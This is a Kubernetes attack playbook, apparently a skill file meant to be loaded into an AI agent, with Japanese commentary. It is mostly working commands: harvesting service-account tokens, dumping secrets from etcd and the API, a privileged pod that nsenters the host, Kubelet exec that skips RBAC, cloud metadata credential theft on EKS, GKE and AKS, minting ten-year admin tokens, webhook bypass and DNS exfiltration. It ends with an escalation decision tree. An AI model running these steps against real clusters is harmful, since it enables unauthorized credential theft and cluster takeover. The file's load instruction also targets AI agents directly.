SKILL: Kubernetes Pentesting — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.

0. RELATED ROUTING

詳しい説明の前に、以下のスキルの読み込みを検討してください:

• container-escape-techniques — 侵害されたポッドから基盤となるノードへのエスケープ用
• linux-privilege-escalation — ノード上でroot昇格用
• linux-lateral-movement — ノード間のピボット用
• linux-security-bypass — Pod Security StandardsやSeccompプロファイルで制限される場合用
• ssrf-server-side-request-forgery — SSRFを利用してK8s APIやクラウドメタデータにアクセスする場合用

---

1. K8S API SERVER ACCESS

1.1 匿名アクセスチェック

# 匿名認証が有効かどうか確認 (デフォルト: 最新クラスターでは制限される)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis

# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)

1.2 トークンベース認証 (ポッド内部から)

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"

curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods

1.3 証明書 / Kubeconfig認証

# 一般的なkubeconfigの場所: ~/.kube/config, /etc/kubernetes/admin.conf,
# /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces

---

2. RBAC ENUMERATION

2.1 自分の権限チェック

# 何ができるか?
kubectl auth can-i --list
kubectl auth can-i --list -n kube-system

# 特定の権限チェック
kubectl auth can-i create pods
kubectl auth can-i create pods -n kube-system
kubectl auth can-i get secrets
kubectl auth can-i '*' '*'     # Full cluster admin?

# APIから (ポッド内部):
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -H "Content-Type: application/json" \
  -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"

2.2 RoleとClusterRole Enumeration

kubectl get roles --all-namespaces && kubectl get clusterroles
kubectl describe clusterrole CLUSTER_ROLE_NAME

# 過度な権限のロール (ワイルドカード動詞/リソース) を検出:
kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'

2.3 危険なRBAC権限

権限	リスク	昇格パス
pods/exec	Critical	任意のポッドへのexec (シークレット、トークンへのアクセス)
pods (create)	Critical	特権ポッドを作成 → ノードアクセス
secrets (get/list)	Critical	SAトークン含む全シークレットを読取
serviceaccounts/token (create)	Critical	任意のSAのトークンを生成
nodes/proxy	High	Kubelet APIへのプロキシ
escalate on roles	Critical	任意の権限を自分に付与
bind on rolebindings	Critical	任意のロールを自分にバインド
impersonate	Critical	任意のユーザー/SAになりすまし

---

3. SERVICE ACCOUNT TOKEN ABUSE

3.1 トークンの場所とデコード

# デフォルトマウントポイント
cat /var/run/secrets/kubernetes.io/serviceaccount/token

# JWTをデコード (検証不要)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# 表示: namespace, service account name, expiry

3.2 Service Accountを通じた昇格

# SAが昇格権限を持つ場合 — シークレットをダンプ、特権ポッドを作成:
kubectl get secrets --all-namespaces
kubectl apply -f - << 'EOF'
apiVersion: v1
kind: Pod
metadata: { name: privesc }
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - name: pwn
    image: alpine
    command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
    securityContext: { privileged: true }
    volumeMounts: [{ name: hostfs, mountPath: /host }]
  volumes: [{ name: hostfs, hostPath: { path: / }}]
EOF

3.3 トークン生成

# serviceaccounts/token createパーミッションがある場合:
kubectl create token admin-sa -n kube-system --duration=87600h

---

4. ETCD DIRECT ACCESS

# 匿名アクセスをチェック (マスターノード上のポート2379):
curl -sk https://ETCD_IP:2379/version

# マスターノードの証明書を使用 (/etc/kubernetes/pki/etcd/):
ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
  --cacert=ca.crt --cert=server.crt --key=server.key \
  get / --prefix --keys-only | grep secrets

# 特定のシークレットをダンプ:
ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret

---

5. POD ESCAPE TO NODE

container-escape-techniquesを参照して詳細なエスケープチェーンを確認してください。

K8s固有のベクトルの簡易リファレンス:

ベクトル	要件	コマンド
hostPID	spec.hostPID: true	nsenter -t 1 -m -u -i -n -p -- bash
hostNetwork	spec.hostNetwork: true	ノードサービス (Kubelet, etcd) へのアクセス
hostPath /	ホストルートのボリュームマウント	chroot /host bash
特権コンテナ	securityContext.privileged: true	ホストディスクをマウント / nsenter

---

6. KUBELET API (Port 10250/10255)

curl -sk https://NODE_IP:10250/pods        # 匿名アクセスチェック
# 10255 = 読み取り専用 (レガシー、HTTP)

# Kubelet経由でポッドにexec (API server RBACをバイパス):
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"

# ログを読み取る:
curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME

---

7. CLOUD-SPECIFIC ATTACKS

7.1 AWS EKS — IMDS Access

# ポッド内部から (IMDSv1またはホップ制限が適用されていない場合):
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# IAMロール名を返す、その後:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# 一時的なAWS認証情報を返す (AccessKeyId, SecretAccessKey, Token)

# IMDSv2 (トークン必須):
IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  http://169.254.169.254/latest/meta-data/iam/security-credentials/

# EKS固有: IRSA (IAM Roles for Service Accounts)
# トークン場所: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# 環境変数: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE

7.2 GCP GKE — Metadata API

# GCEメタデータサーバー
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# OAuth2アクセストークンを返す

# 利用可能なスコープをリストアップ
curl -s -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes

# GKE Workload Identity (設定されている場合):
# ポッドのSAはGCP SAにマッピングされる
# トークンはGCP APIコール用に自動的に利用可能

7.3 Azure AKS — Managed Identity

# Azure IMDS
curl -s -H "Metadata: true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Azureアクセストークンを返す

# AKS Pod Identity / Workload Identity
# AZURE_CLIENT_ID, AZURE_TENANT_ID環境変数を確認
env | grep AZURE

---

8. ADMISSION WEBHOOK BYPASS

戦略	コマンド/方法
除外されたネームスペース	`kubectl get validatingwebhookconfigurations -o yaml
failurePolicy: Ignore	webhookサーバーがダウン → admission スキップ
Ephemeral containers	kubectl debug POD -it --image=alpine (カバーされていない可能性)
Static pods	ノード上の /etc/kubernetes/manifests/ にマニフェストを配置 (API admission をバイパス)

---

9. CONTAINER REGISTRY ACCESS

# pull secretsを抽出 (dockerconfigjson):
kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'

# イメージをプルしてハードコードされたシークレットを検査:
docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc

---

10. NETWORK POLICY ENUMERATION & BYPASS

kubectl get networkpolicies --all-namespaces
# ポリシーのないネームスペースを検出 (デフォルト許可):
for ns in $(kubectl get ns -o name | cut -d/ -f2); do
    [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
done

バイパス戦略: DNS流出 (ポート53はめったにブロックされない)、許可されたポートトンネリング、保護されていないネームスペース内のポッド、hostNetwork: true はポッドネットワークポリシーを完全にバイパス。

---

11. TOOLS

ツール	目的	コマンド
kubectl	K8s APIインタラクション	kubectl auth can-i --list
kube-hunter	自動化されたK8s脆弱性スキャン	kube-hunter --remote TARGET
peirates	ポッド内部からのK8sペネテスト	./peirates
kubesploit	K8s用ポストエクスプロイテーションフレームワーク	エージェントベースC2
CDK	コンテナ/K8sエクスプロイテーションツールキット	./cdk evaluate
kubeletctl	Kubelet API と直接インタラクト	kubeletctl pods -s NODE_IP
kubeaudit	クラスター設定ミス監査	kubeaudit all

---

12. KUBERNETES PENTESTING DECISION TREE

Kubernetesマシンへのアクセス?
│
├── ポッド内部?
│   ├── SA tokenを読む → RBACSパーミッションをチェック (§2.1)
│   │   ├── ポッドを作成できる? → 特権ポッドエスケープ (§3.2)
│   │   ├── シークレットを読める? → すべてのシークレットをダンプ (§3.2)
│   │   ├── ポッドにexecできる? → 他のポッドにピボット
│   │   └── 最小限の権限 → Kubelet APIを試す (§6)
│   │
│   ├── クラウド環境?
│   │   ├── AWS → IMDS でIAM認証情報をチェック (§7.1)
│   │   ├── GCP → メタデータでOAuthトークンをチェック (§7.2)
│   │   └── Azure → IMDSでマネージドアイデンティティをチェック (§7.3)
│   │
│   └── ノードにエスケープ? → container-escape-techniques をロード
│
├── ノードへのアクセス?
│   ├── kubeconfigが見つかった? → 完全なクラスターアクセス (§1.3)
│   ├── etcdにアクセス可能? → すべてのシークレットをダンプ (§4)
│   ├── Kubelet cert/key? → API serverアクセス
│   └── Static podマニフェスト? → 特権static podを作成 (§8)
│
├── 外部アクセスのみ?
│   ├── API serverが公開されている? → 匿名/tokenチェック (§1)
│   ├── Kubelet 10250が公開されている? → 直接ポッドexec (§6)
│   ├── etcd 2379が公開されている? → 直接シークレットダンプ (§4)
│   └── Dashboard/UI が公開されている? → 認証バイパス
│
├── RBAC昇格パス?
│   ├── escalate/bindパーミッション? → cluster-adminを付与 (§2.3)
│   ├── impersonateパーミッション? → 管理者として行動 (§2.3)
│   ├── serviceaccounts/token create? → 管理者トークンを鋳造 (§3.3)
│   └── 過度な特権のclusterrole? → ワイルドカードを悪用 (§2.2)
│
└── 直接的な昇格パスがない?
    ├── ネットワークポリシーを列挙 → 保護されていないネームスペースを検出 (§10)
    ├── admission webhookをチェック → バイパスを検出 (§8)
    ├── レジストリイメージをプル → シークレットを検索 (§9)
    └── ノード上の公開サービスをスキャン → Kubelet、etcd